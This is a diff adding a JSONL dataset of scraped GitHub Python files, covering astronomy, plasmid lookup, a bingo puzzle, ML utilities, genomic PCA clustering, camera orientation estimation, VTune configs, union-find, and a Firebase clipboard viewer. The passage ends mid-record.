diff --git "a/1874.jsonl" "b/1874.jsonl" new file mode 100644--- /dev/null +++ "b/1874.jsonl" @@ -0,0 +1,1029 @@ +{"seq_id":"21824684087","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 29 13:46:15 2022\n\n@author: dominique\n\"\"\"\n\nimport sys\nimport math\n\n# insérer le chemin suivant dans sys.path pour trouver le package astrodm\n#if 'D:\\DOCUMENTS\\Astronomie\\dev' not in sys.path:\n# sys.path.insert(0, 'D:\\DOCUMENTS\\Astronomie\\dev')\n#from astrodm import doublesoutils as do\n\nif __name__ == '__main__':\n \"\"\"\n Retourne le temps de parcourt (en s) par dérive sidérale pour parcourir la\n distance distance pour un objet ayant une déclinaison d m s.\n \n Paramètres positionnels :\n 'dist' int distance en secondes d'arc\n déclinaison de la cible :\n 'd' degrées (par défaut 0)\n 'm' arc min (par défaut 0)\n 's' arc sec (par défaut 0)\n \"\"\"\n \n m, s = 0, 0\n narg = len(sys.argv)\n if narg == 1:\n print(\"Calcul du temps de dérive selon la déclinaison.\")\n print(\"Usage : python drive.py distance, d, [m], [s], [] = facultatif\")\n sys.exit()\n \n print(\"Nombre d'arguments : {0}\\n\".format(narg))\n\n if narg >= 3:\n distance = float(sys.argv[1].strip(','))\n d = float(sys.argv[2].strip(','))\n else:\n print(\"Erreur distance ou déclinaison (degrés) non donnés!\")\n sys.exit()\n\n if narg >= 4:\n m = float(sys.argv[3].strip(','))\n\n if narg == 5:\n s = float(sys.argv[4])\n \n # transformer d m s en notation décimale\n dms = d + (m / 60) + (s / 3600)\n print(\" {0} °ms\".format(dms))\n \n # constante 15.041084 arcsec par seconde de temps solaire moyen\n # à l'équateur céleste\n #\n temps = abs(distance / (15.041084 * math.cos(math.radians(dms))))\n print(\" {0} s\".format(temps))\n","repo_name":"stardom1957/astrodm","sub_path":"drive.py","file_name":"drive.py","file_ext":"py","file_size_in_byte":1702,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25661509097","text":"\r\n#enter your list of plasmids (line-by-line, GXXX code only) into HiFis.txt. Do NOT press ENTER after the last HiFi. Save.\r\n#make sure that PlasmidLocator_Output.csv is closed. Otherwise, you will get an error that permission is denied\r\n#Enter the \\MatreyekLab_GoogleDrive\\Inentories directory\r\n\r\n#Clear contents of PlasmidLocator_Output.csv, enter in the header, and close\r\nPlasmidLocator_Output = open('PlasmidLocator_Output.csv', mode = 'w')\r\nPlasmidLocator_Output.seek(0)\r\nPlasmidLocator_Output.truncate(0)\r\nPlasmidLocator_Output.writelines(' , Designation, Name, ng/ul, Comment1, Antibiotic_res, \\n')\r\nPlasmidLocator_Output.close()\r\n\r\nimport pandas as pd \r\n\r\n#import each sheet from the Plasmid_Archive excel file as a DataFrame; replace empty spaces with \"NaN\"\r\nBox1 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box1', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox2 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box2', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox3 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box3', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox4 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box4', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox5 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box5', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox6 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box6', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox7 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box7', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox8 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box8', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox9 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box9', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox10 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box10', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox11 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box11', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox12 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box12', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox13 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box13', usecols = ('Name', 'Designation', 'ng/ul', 'Comment1'), na_filter=False)\r\nBox14 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box14', usecols = ('Name', 'Designation', 'ng/ul', 'Antibiotic_res', 'Comment1'), na_filter=False)\r\nBox15 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box15', usecols = ('Name', 'Designation', 'ng/ul', 'Antibiotic_res', 'Comment1'), na_filter=False)\r\n#Box16 = pd.read_excel('MatreyekLab_Plasmid_Archive.xlsx', sheet_name='Box15', usecols = ('Name', 'Designation', 'ng/ul', 'Antibiotic_res', 'Comment1'), na_filter=False)\r\n\r\n#Create a DataFrame that includes all of the above DataFrames\r\n#Don't forget to append any new sheets added\r\nPlasmid_Archive = Box1.append([Box2, Box3, Box4, Box5, Box6, Box7, Box8, Box9, Box10, Box11, Box12, Box13, Box14, Box15])\r\n\r\n#define empty list HiFis\r\nHiFis = []\r\n\r\n#Open HiFis.txt, line-by-line\r\n#run the df[df['A'].str.contains()] function on each line in HiFis to find the partially matching name in the Plasmid Archive\r\n#print to terminal and save to PlasmidLocator_Output.csv\r\nwith open('HiFis.txt', 'r') as file:\r\n\tHiFis = [GXXX.rstrip() for GXXX in file.readlines()]\r\n\tfor line in HiFis:\r\n\t\tprint(Plasmid_Archive[Plasmid_Archive['Name'].str.contains(line)])\r\n\t\tPlasmidLocator = Plasmid_Archive[Plasmid_Archive['Name'].str.contains(line)]\r\n\t\tPlasmidLocator.to_csv(\"PlasmidLocator_Output.csv\", header = False, mode = 'a')\r\n\r\n","repo_name":"MatreyekLab/Plasmid_Locator","sub_path":"PlasmidLocator.py","file_name":"PlasmidLocator.py","file_ext":"py","file_size_in_byte":4078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74342602062","text":"'''\n0. 2차원 리스트를 만들고, 2차원 리스트를 순회할 수 있다.\n1. 빙고판을 2차원 리스트로 받는다.\n2. 부르는 숫자들을 리스트로 받아서, 빙고판의 해당 숫자를 0으로 초기화한다.\n3. 빙고판의 빙고 줄이 3줄인것이 확인되면 그때의 숫자를 print 한다.\n'''\n\ndef Check(arr, arr_t):\n cnt = 0 # 빙고 몇줄인지\n rslt = 0 # 좌상에서 아래로 대각선 확인\n rslt_t = 0 # 우상에서 아래로 대각선 확인\n\n for row in arr: # 각 행, 열에서 0이 5개면 빙고\n if row.count(0) == 5:\n cnt += 1\n for col in arr_t:\n if col.count(0) == 5:\n cnt += 1\n\n for i in range(5): # 대각선 확인\n rslt += arr[i][i]\n if rslt:\n break\n else:\n cnt += 1\n for i in range(5):\n rslt_t += arr[i][4-i]\n if rslt_t:\n break\n else:\n cnt += 1\n\n if cnt >= 3:\n return True\n\n\n\nbingo = [list(map(int, input().split())) for _ in range(5)]\n\nfor _ in range(5):\n nums = list(map(int, input().split())) # 사회자가 부르는 숫자를 5개씩 받아온다.\n for num in nums:\n for i in range(5):\n if num in bingo[i]: # 빙고판 i행에 그 숫자가 있다면\n j = bingo[i].index(num)\n bingo[i][j] = 0 # 찾아서 0으로 초기화\n bingo_t = list(map(list, zip(*bingo))) # 그 빙고판을 전치시킨다.\n if Check(bingo, bingo_t): # 빙고가 3줄인지 확인\n print(num)\n exit() # 빙고 3줄이 될 때 숫자만 print 하면 더 이상 안 돌아도 된다.","repo_name":"hyoonpark/Algorithm","sub_path":"MIN/3선 빙고.py","file_name":"3선 빙고.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6211420971","text":"from torch import nn\n\n# output\nLOGITS = \"logits\"\nFEATURES = \"features\"\n\n\ndef init_weights(module: nn.Module):\n if isinstance(module, nn.Embedding):\n nn.init.xavier_normal_(module.weight)\n elif isinstance(module, nn.Linear):\n nn.init.xavier_uniform_(module.weight)\n if module.bias is not None:\n nn.init.zeros_(module.bias)\n elif isinstance(module, nn.LayerNorm):\n module.bias.data.zero_()\n module.weight.data.fill_(1.0)\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value\"\"\"\n\n def __init__(self):\n self.reset()\n\n def reset(self):\n self.count = 0\n self.sum = 0.0\n self.val = 0.0\n self.avg = 0.0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n\ndef accuracy(output, target, topk=(1,)):\n \"\"\"Computes the precision@k for the specified values of k\"\"\"\n maxk = max(topk)\n batch_size = target.size(0)\n\n _, pred = output.topk(maxk, 1, True, True)\n pred = pred.t()\n correct = pred.eq(target.view(1, -1).expand_as(pred))\n\n res = []\n for k in topk:\n correct_k = correct[:k].view(-1).float().sum(0, keepdim=True)\n res.append(correct_k.mul_(100.0 / batch_size))\n return res\n\n\ndef save_log(logging, msg):\n print(msg)\n logging.write(msg + \"\\n\")\n logging.flush()\n","repo_name":"yiqings/staintrick","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"38645923809","text":"#!/usr/bin/env python3\n\nimport os\nimport sys\nimport argparse\nimport logging\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm\nfrom matplotlib.colors import LogNorm\nimport astropy.units as u\nfrom astropy.visualization.wcsaxes import SphericalCircle\nimport tqdm\n\nfrom arts_localisation import tools\nfrom arts_localisation.constants import CB_HPBW, REF_FREQ\nfrom arts_localisation.beam_models.simulate_sb_pattern import SBPattern\nfrom arts_localisation.config_parser import load_config\n\nlogger = logging.getLogger(__name__)\nplt.rcParams['axes.formatter.useoffset'] = False\n\n\ndef blend_colors(args, weights=None):\n \"\"\"\n args: array of colours, each as RGB tuple\n weight: weight to assign to each colour\n return: blended colour\n \"\"\"\n\n if weights is None:\n weights = np.ones(len(args))\n\n # average\n out = np.sum(args * weights[..., None], axis=0) / weights.sum()\n # max 1\n out[out > 1] = 1.\n return out\n\n\ndef get_colour_model(sb_model, stretch_factor=5):\n \"\"\"\n \"\"\"\n nfreq, ndec, nha = sb_model.shape\n # init colours\n cmap = cm.get_cmap('rainbow')\n points = np.linspace(0, 1, nfreq, endpoint=True)\n colours = cmap(points)[::-1] # to have red first\n\n # remove the alpha channel\n colours = np.array([c[:3] for c in colours])\n\n # colour image needs to be y,x,rgb\n colour_model = np.zeros((ndec, nha, 3))\n\n # loop over pixels, calculate their colour\n logger.info('Calculating colours')\n for y in tqdm.tqdm(range(ndec)):\n for x in range(nha):\n # intensity at each freq\n vals = sb_model[:, y, x]\n # blend colour\n c = blend_colors(colours, weights=vals)\n # intensity is SB intensity\n i = vals.mean()\n colour_model[y, x] = c * i\n colour_model *= stretch_factor\n\n # scale or clip such that max value is 1\n # if max < 1, scale by max\n if colour_model.max() < 1:\n colour_model /= colour_model.max()\n # else clip\n else:\n colour_model[colour_model > 1] = 1.\n return colour_model\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--config', required=True, help='Input yaml config')\n parser.add_argument('--burst', help='Burst name as in .yaml file '\n '(Default: assume burst name is the prefix of the .yaml file)')\n parser.add_argument('--cb', type=int, help='CB to generate (Default: \"main_cb\" value from .yaml file)')\n parser.add_argument('--sb', type=int, nargs='*', help='Space-separated list of SBs to generate '\n '(Default: \"main_sb\" value from .yaml file)')\n parser.add_argument('--show_plots', action='store_true', help='Show plots')\n parser.add_argument('--output', help='Output file for plot (Note: burst name and CB/SB indices will '\n 'be added to output filename. '\n 'Provide only a folder to let the script generate a filename automatically')\n parser.add_argument('--verbose', action='store_true', help=\"Enable verbose logging\")\n\n args = parser.parse_args()\n\n if args.verbose:\n logger.setLevel(logging.DEBUG)\n else:\n logger.setLevel(logging.INFO)\n\n # nothing to do if plots are not saved and not shown\n if args.output is None and not args.show_plots:\n logger.error('Nothing to do; provide either an output file name for plots with --output, '\n 'or show plots with --show_plots')\n sys.exit(1)\n\n # set matplotlib backend to non-interactive if only saving plots\n if args.output is not None and not args.show_plots:\n plt.switch_backend('pdf')\n\n # load localisation config\n config = load_config(args, for_snr=False)\n logger.info('Note: warnings about e.g. missing S/N arrays or SEFD values are '\n 'irrelevant for generating a beam model')\n # set burst to use\n if args.burst is None:\n # get from .yaml prefix\n args.burst = os.path.splitext(os.path.basename(args.config))[0]\n\n burst_config = config[args.burst]\n\n # set CB and SB\n if args.cb is None:\n args.cb = burst_config['main_cb']\n logger.info(f'Using value from config: CB{args.cb:02d}')\n beam_config = burst_config[f'CB{args.cb:02d}']\n\n if args.sb is None:\n args.sb = [burst_config['main_sb']]\n logger.info(f'Using value from config: SB{args.sb[0]:02d}')\n\n # Define global RA, Dec localisation area\n grid_size = config['size'] # in arcmin\n grid_res = config['resolution'] / 60 # converted from arcsec to arcmin\n dracosdec = np.arange(-grid_size / 2, grid_size / 2 + grid_res, grid_res) * u.arcmin\n ddec = np.arange(-grid_size / 2, grid_size / 2 + grid_res, grid_res) * u.arcmin\n\n dRACOSDEC, dDEC = np.meshgrid(dracosdec, ddec)\n\n DEC = config['dec'] * u.deg + dDEC\n RA = config['ra'] * u.deg + dRACOSDEC / np.cos(DEC)\n\n # convert localisation area and CB pointing (=phase centre) to HA, Dec\n ha_cb, dec_cb = tools.radec_to_hadec(*beam_config['pointing'], burst_config['tarr'])\n HA_loc, DEC_loc = tools.radec_to_hadec(RA, DEC, burst_config['tarr'])\n\n # calculate offsets from phase center\n # without cos(dec) factor for dHA\n dHACOSDEC_loc = (HA_loc - ha_cb) * np.cos(DEC_loc)\n dDEC_loc = (DEC_loc - dec_cb)\n\n # generate the SB model with CB as phase center\n logger.info('Generating SB model')\n sbp = SBPattern(ha_cb, dec_cb, dHACOSDEC_loc, dDEC_loc, fmin=burst_config['fmin'] * u.MHz,\n fmax=burst_config['fmax'] * u.MHz, min_freq=config['fmin_data'] * u.MHz,\n cb_model=config['cb_model'], cbnum=args.cb, sbs=args.sb)\n\n # plot each SB\n # get half-power CB width\n central_freq = int(np.round(config['fmin_data'] + config['bandwidth'] / 2)) * u.MHz\n cb_radius = CB_HPBW * REF_FREQ / central_freq / 2\n\n X = RA.to(u.deg).value\n Y = DEC.to(u.deg).value\n extent = [X[0, 0], X[-1, -1], Y[0, 0], Y[-1, -1]]\n for sb in args.sb:\n fig, ax = plt.subplots(figsize=(9, 9))\n\n # get SB model, scaled by integrated maximum value\n sb_model = sbp.beam_pattern_sb_full[sb] / sbp.beam_pattern_sb_int[sb].max()\n # shape is (nfreq, ndec, nha)\n\n # obtain colour model\n colour_model = get_colour_model(sb_model)\n\n # plot beam model\n ax.imshow(colour_model, origin='lower', aspect='auto',\n extent=extent, norm=LogNorm())\n\n # Add CB\n if 'ra' in beam_config:\n # directly use given ra and dec\n ra = beam_config['ra'] * u.deg\n dec = beam_config['dec'] * u.deg\n else:\n # assume hadec mode\n logger.debug('HADEC mode')\n radec = tools.hadec_to_radec(beam_config['ha'] * u.deg, beam_config['dec'] * u.deg, burst_config['tarr'])\n ra = radec.ra.deg * u.deg\n dec = radec.dec.deg * u.deg\n\n patch = SphericalCircle((ra, dec), cb_radius, ec='w', fc='none', ls='-', alpha=.5)\n ax.add_patch(patch)\n\n # limit fig to localisation region\n ax.set_xlim(X[0, 0], X[-1, -1])\n ax.set_ylim(Y[0, 0], Y[-1, -1])\n\n # labels etc\n ax.set_xlabel('RA (deg)')\n ax.set_ylabel('Dec (deg)')\n\n ax.set_title(f'{args.burst} CB{args.cb:02d} SB{sb:02d}')\n\n # save the fig if requested\n if args.output is not None:\n # get provided path\n path = os.path.dirname(args.output)\n if os.path.isdir(args.output):\n fname = 'SB_model'\n ext = '.pdf'\n else:\n full_fname = os.path.basename(args.output)\n fname, ext = os.path.splitext(full_fname)\n if not ext:\n ext = '.pdf'\n output_file = os.path.join(path, f'{fname}_{args.burst}_CB{args.cb:02d}_SB{sb:02d}{ext}')\n fig.savefig(output_file, bbox_inches='tight')\n\n if args.show_plots:\n plt.show()\n","repo_name":"loostrum/arts_localisation","sub_path":"arts_localisation/generate_beam_model.py","file_name":"generate_beam_model.py","file_ext":"py","file_size_in_byte":7980,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"13866553114","text":"import pandas as pd\nimport numpy as np\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.cluster import KMeans\n\nimport time\nimport joblib\n\n\n# split data into different groups based on labels\ndef df_split(df, label):\n return df.loc[(df['label'] == label)].reset_index(drop=True).copy()\n\n# train the model\ndef combine_model(df, n_pc):\n X = df.iloc[:, 0:-1]\n y = df.iloc[:, -1]\n\n pca_model = PCA(n_components=n_pc).fit(X)\n return pca_model\n\n# tranform the test data points\ndef transform(df, pca):\n X = df.iloc[:, 0:-1]\n y = df.iloc[:, -1]\n\n principalComponents = np.insert(pca.transform(X), n_pc, y, axis=1)\n\n return principalComponents\n\nif __name__ == \"__main__\":\n # read in data\n df_mix = pd.read_csv('../dataset/1000genome.csv', index_col=0)\n\n # normalization\n scaler = StandardScaler()\n scaler.fit(df_mix)\n df_mix_X_std = scaler.transform(df_mix)\n\n # create ground truth\n # reduce dimension by PCA\n n_pc = 10\n pca = PCA(n_components=n_pc)\n principalComponents = pca.fit_transform(df_mix_X_std)\n # find labels by kmeans\n kmeans = KMeans(n_clusters=3, init='k-means++', max_iter=300, n_init=10, random_state=0)\n y_kmeans = kmeans.fit_predict(principalComponents)\n\n # re-assign labels\n df_assign = df_mix.copy()\n df_assign['label'] = y_kmeans\n\n df_red = df_split(df_assign, 0)\n df_green = df_split(df_assign, 1)\n df_blue = df_split(df_assign, 2)\n\n # Split each group into half\n df_red_1 = df_red.sample(n=50)\n df_red_2 = df_red.loc[~df_red.index.isin(df_red_1.index)]\n\n df_green_1 = df_green.sample(n=50)\n df_green_2 = df_green.loc[~df_green.index.isin(df_green_1.index)]\n\n df_blue_1 = df_blue.sample(n=50)\n df_blue_2 = df_blue.loc[~df_blue.index.isin(df_blue_1.index)]\n\n # Save the model as a pickle in a file\n start = time.time()\n PCA_train = pd.concat([df_red_1, df_green_1, df_blue_1])\n trained_model = combine_model(PCA_train, n_pc)\n joblib.dump(trained_model, f'model_pc{n_pc}.pkl')\n end = time.time()\n print(\"--- %s seconds ---\" % (end - start))\n\n # Save train and test data\n train = pd.concat([df_red_1, df_green_1, df_blue_1]).reset_index(drop=True)\n train.to_csv('train.csv', index=False)\n\n test = pd.concat([df_red_2, df_green_2, df_blue_2]).reset_index(drop=True)\n\n test_1 = test.groupby('label').sample(n=50).reset_index(drop=True)\n test_1.to_csv('test_1.csv', index=False)\n\n test_2 = test.groupby('label').sample(n=100).reset_index(drop=True)\n test_2.to_csv('test_2.csv', index=False)\n\n test_3 = test.copy()\n test_3.to_csv('test3.csv', index=False)\n","repo_name":"wxl387/Privacy-Preserving-Population-Stratification-for-Collaborative-Genomic-Research","sub_path":"source_code/create_model.py","file_name":"create_model.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22700725548","text":"from optbinning import OptimalBinning\n\n\n## https://github.com/guillermo-navas-palencia/optbinning\ndef binning(feature, x, y):\n optb = OptimalBinning(name=feature, dtype=\"numerical\", solver=\"cp\")\n for i in range(len(y)):\n if y[i] == -1:\n y[i] = 0\n optb.fit(x, y)\n return optb.splits\n\n","repo_name":"chenz1hao/online-credit-scoring-platform","sub_path":"model_visual/opt_binning/get_binning.py","file_name":"get_binning.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"24344070688","text":"from corisco import Picture\nfrom corisco import corisco_aux\nfrom corisco.quaternion import Quat, random_quaternion\nimport filtersqp\nfrom hashlib import md5\nimport numpy as np\nfrom numpy import array, seterr\nfrom os import times\n\n######################################################################\n## Functions used in the optimization\n\n## Conic constraint\ndef val_c(x):\n return np.linalg.norm(x)\ndef grad_c(x):\n return x/np.linalg.norm(x)\ndef hess_c(x):\n nx = np.linalg.norm(x)\n return (nx**2 * np.identity(x.shape[0]) - np.outer(x,x)) / nx**3\n\n## Target function\ndef val_f(x,*fargs):\n return corisco_aux.angle_error(x, fargs[0],fargs[1],fargs[2])\ndef grad_f(x,*fargs):\n return corisco_aux.angle_error_gradient(x, fargs[0],fargs[1],fargs[2])\ndef hess_f(x,*fargs):\n return corisco_aux.angle_error_hessian(x, fargs[0],fargs[1],fargs[2])\n##\n######################################################################\n\ndef utime():\n '''Pick user time from os to measure the code performance.'''\n return times()[0]\n\ndef estimate_orientation(process_args, image_file_str):\n seterr(divide='ignore') ## Avoid zero divide warnings\n\n tt_total = utime()\n\n ## Edgel extraction parameters\n gmethod = process_args['grid']['method']\n gspc = process_args['grid']['size']\n glim = process_args['grid']['lim']\n ## Optimization parameters\n ransac_iterations = process_args['ransac_itr']\n optimization_tolerance = process_args['op_tol']\n ## Parameters from the error function. Default is Tukey bisquare with s=0.15\n error_function_parameters = array(process_args['err_func'])\n intrinsic_parameters = process_args['int_parm']\n\n #################################################################\n ## Load image and initialize pic object\n tt_init = utime()\n\n ## Creates picture object\n pic = Picture(intrinsic_parameters, image_file_str)\n\n if process_args['smooth'] is not None:\n pic.smooth(process_args['smooth'])\n\n ## Extract the edgels from the image using the grid mask\n tt_edgel_extraction = utime()\n pic.extract_edgels(gspc, glim, method=gmethod)\n tt_edgel_extraction = utime() - tt_edgel_extraction\n\n\n ## Caculate the edgel normals (interpretation plane), and Jacobians.\n pic.calculate_edgel_normals()\n pic.calculate_edgel_jacobians()\n\n ## Calculate initial estimate\n tt_initial_estimate = utime()\n qini = pic.random_search(ransac_iterations, error_function_parameters)\n qini = qini.canonical()\n tt_initial_estimate = utime() - tt_initial_estimate\n\n ## Perform second-stage continuous optimization procedure, based on FilterSQP.\n tt_filtersqp = utime()\n\n sqp_funcs = (val_c, grad_c, hess_c, val_f, grad_f, hess_f)\n args_f = (pic.edgels, pic.i_param, error_function_parameters)\n\n\n filterSQPout = filtersqp.filterSQP(\n qini.q, .0, 1e-3, sqp_funcs, args_f, delta_tol=optimization_tolerance\n )\n\n # try:\n # filterSQPout = filtersqp.filterSQP(\n # qini.q, .0, 1e-3, sqp_funcs, args_f, delta_tol=optimization_tolerance\n # )\n # except:\n # print '*** Numerical error for input:'\n # print {'img_md5': get_hash(image_file_str),\n # 'proc_args': process_args}\n # raise SystemExit\n\n xo, err, sqp_iters,Llam,Lrho = filterSQPout\n qopt = Quat(xo)\n\n tt_filtersqp = utime() - tt_filtersqp\n\n tt_total = utime() - tt_total\n\n first_orientation_estimate = qini.canonical().q.tolist()\n final_orientation_estimate = qopt.canonical().q.tolist()\n\n output_data = {\n 'input': {'img_md5': get_hash(image_file_str),\n 'proc_args': process_args},\n 'time': {\n 'total': tt_total,\n 'edgel': tt_edgel_extraction,\n 'ransac': tt_initial_estimate,\n 'sqp': tt_filtersqp\n },\n 'Nedgels': pic.edgels.shape[0],\n 'sqp_itr': sqp_iters,\n 'ransac_ori_est': first_orientation_estimate,\n 'ori_est': final_orientation_estimate,\n }\n\n return output_data, pic\n\ndef get_hash(image_file_str):\n return md5(image_file_str).hexdigest()\n","repo_name":"nlw0/corisco","sub_path":"corisco/corisco/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":4127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19242157510","text":"import csv\nimport json\nimport os\nimport sys\n\n\ndef read_database_file(file):\n with open(file, 'r') as database_file:\n database = json.load(database_file)\n\n return database\n\n\ndef filter_analysis_type(database, analysis_type):\n vtune_data = database[\"experiments\"][\"vtune\"]\n configs = []\n\n for run in vtune_data:\n if run[\"vtune-analysis\"] == analysis_type:\n configs.append(run)\n\n return configs\n\n\ndef are_matching(run1, run2):\n if run1[\"benchmark\"] == run2[\"benchmark\"] and run1[\"input-set\"] == run2[\"input-set\"] \\\n and run1[\"thread-count\"] == run2[\"thread-count\"]:\n return True\n\n return False\n\n\ndef find_matching_trace(database, source):\n pin_data = database[\"experiments\"][\"pin\"]\n\n for run in pin_data:\n if run[\"pin-tool\"] == \"pthread-trace.so\":\n if are_matching(run, source):\n manifest = os.path.join(run[\"path\"], \"output-manifest.txt\")\n\n if not os.path.exists(manifest):\n sys.exit(\"Error: could not find {}\".format(manifest))\n\n return manifest\n\n\ndef calculate_average(l):\n average = sum(l) / float(len(l))\n\n return int(average)\n\n\ndef is_valid_thread(thread_name):\n if \"mkdir (\" in thread_name:\n return False\n\n if \"dash (\" in thread_name:\n return False\n\n if \"sh (\" in thread_name:\n return False\n\n return True\n\n\ndef create_architecture_config(config, out):\n data_file = os.path.join(config[\"path\"], \"vtune-hotspots.csv\")\n\n if not os.path.exists(data_file):\n sys.exit(\"Error: could not find {}\".format(data_file))\n\n core_type_data = {}\n frequency_data = []\n\n # Extract the required data from the VTune csv file.\n with open(data_file, 'r') as csv_file:\n reader = csv.DictReader(csv_file)\n\n for row in reader:\n if not is_valid_thread(row[\"Thread\"]):\n continue\n\n thread_id = int(row[\"TID\"])\n cpi_rate = float(row[\"CPI Rate\"])\n frequency = int(float(row[\"Average CPU Frequency\"]))\n\n core_type_data[thread_id] = {'tid': thread_id, 'cpi.rate': cpi_rate}\n frequency_data.append(frequency)\n\n # Create the architectural configuration skeleton.\n arch_config = {\n 'source': config,\n 'architecture': {\n 'core.types': [{\n 'id': \"default\",\n 'frequency.levels': [{\n 'id': 0,\n 'frequency': calculate_average(frequency_data)\n }],\n \"threads\": [],\n }],\n \"cores\": []\n },\n 'system': {\n \"static.frequencies\": []\n }\n }\n\n # Populate the skeleton with TIDs and CPI rates.\n new_tid = 0\n for key in sorted(core_type_data.keys()):\n arch_config[\"architecture\"][\"core.types\"][0][\"threads\"].append({\n 'tid': new_tid,\n 'cpi.rate': core_type_data[key][\"cpi.rate\"]\n })\n\n arch_config[\"system\"][\"static.frequencies\"].append({\n 'tid': new_tid,\n 'level': 0\n })\n\n new_tid = new_tid + 1\n\n thread_count = int(config[\"thread-count\"])\n for i in list(range(thread_count)):\n arch_config[\"architecture\"][\"cores\"].append(\"default\")\n\n with open(out, 'w') as output_file:\n json.dump(arch_config, output_file, indent=2)\n","repo_name":"mariobadr/rhythm","sub_path":"scripts/rhythm/rhythm.py","file_name":"rhythm.py","file_ext":"py","file_size_in_byte":3383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2064285572","text":"'''\nlink: https://leetcode.com/problems/number-of-connected-components-in-an-undirected-graph/\n\nHow to solve:\n - We start off with n nodes, so n components\n - we again, can solve this problem with union-find algorithm, where we are basically creating a tree within the nodes\n - if we get a cycle, we will merge them together, one becoming the branch of the other \n'''\n\nfrom ast import List\n\nclass Solution:\n def countComponents(self, n: int, edges: List[List[int]]) -> int:\n parents = [i for i in range(n)]\n rank = [1] * n\n\n def find(node):\n p = parents[node]\n\n while p != parents[p]:\n parents[p] = parents[parents[p]]\n p = parents[p]\n return p\n \n def union(n1, n2):\n p1, p2 = find(n1), find(n2)\n\n if p1 == p2:\n return 0 # as we are not merge these, represents cycle \n \n if rank[p2] > rank[p1]:\n parents[p1] = p2\n rank[p2] += rank[p1]\n else:\n parents[p2] = p1\n rank[p1] += rank[p2]\n return 1\n \n res = n\n for n1, n2 in edges:\n res -= union(n1, n2)\n \n return res\n\n\n\n \n\n\n\n\n","repo_name":"allan7yin/DataStructuresAndAlgorithms","sub_path":"Graphs/NumberOfComponentsInConnectedGraph.py","file_name":"NumberOfComponentsInConnectedGraph.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"41620149296","text":"from firebase import firebase\nimport requests\nimport tkinter as tk\nfrom tkinter import*\n\n\nfirebase = firebase.FirebaseApplication(\"https://assignment2-35d2c.firebaseio.com/DATA\",None)\nresult = firebase.get(\"/DATA\",None)\nprint(result)\nst = result[\"DATA\"]\n\n\nimport PySimpleGUI as sg\n\n\nlayout = [\n [sg.Multiline(st, autoscroll=True,key ='_DISPLAY_',size=(200,100),background_color=\"black\",text_color=\"white\" )]\n \n ]\n\nwindow = sg.Window(\"Clipboard\",layout=layout ,background_color=\"#000000\",size=(400,500))\n\n\nwhile True :\n \n event , values = window.read(timeout=20) \n \n result = firebase.get(\"/DATA\",None)\n st = result[\"DATA\"] \n print(st)\n window['_DISPLAY_'].update(st)\n 